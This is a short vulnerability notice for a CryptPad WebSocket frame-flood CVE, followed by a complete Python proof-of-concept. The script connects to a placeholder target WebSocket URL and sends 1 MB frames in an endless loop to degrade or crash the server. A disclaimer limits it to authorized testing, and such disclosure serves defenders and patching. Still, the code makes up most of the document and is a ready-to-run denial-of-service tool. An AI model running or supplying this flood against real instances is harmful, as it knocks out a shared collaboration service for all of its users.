CryptPad 2025.3.1 allows unbounded WebSocket frame flood. A remote, unauthenticated attacker can significantly degrade or deny service for all users of a CryptPad instance. Fixed in 2026.2.2.
The following code is for security research and authorized testing only.
python
import asyncio
import websockets
async def cve_2025_51846_poc(target_url):
"""
PoC for CVE-2025-51846: Unbounded WebSocket Frame Flood
This script attempts to flood a CryptPad instance with large WebSocket frames.
"""
try:
# Connect to the WebSocket endpoint
async with websockets.connect(target_url) as websocket:
# Define a large payload to simulate the flood
# Sending 1MB chunks repeatedly
payload = "A" * (1024 * 1024)
print(f"Connected to {target_url}. Starting flood...")
while True:
await websocket.send(payload)
print("Sent large frame payload")
# Optional: small delay to allow network processing if testing locally
# await asyncio.sleep(0.01)
except Exception as e:
print(f"Connection error or server crashed: {e}")
if __name__ == "__main__":
# Replace with actual target WebSocket URL
target = "ws://<target-host>/cryptpad_websocket"
asyncio.run(cve_2025_51846_poc(target))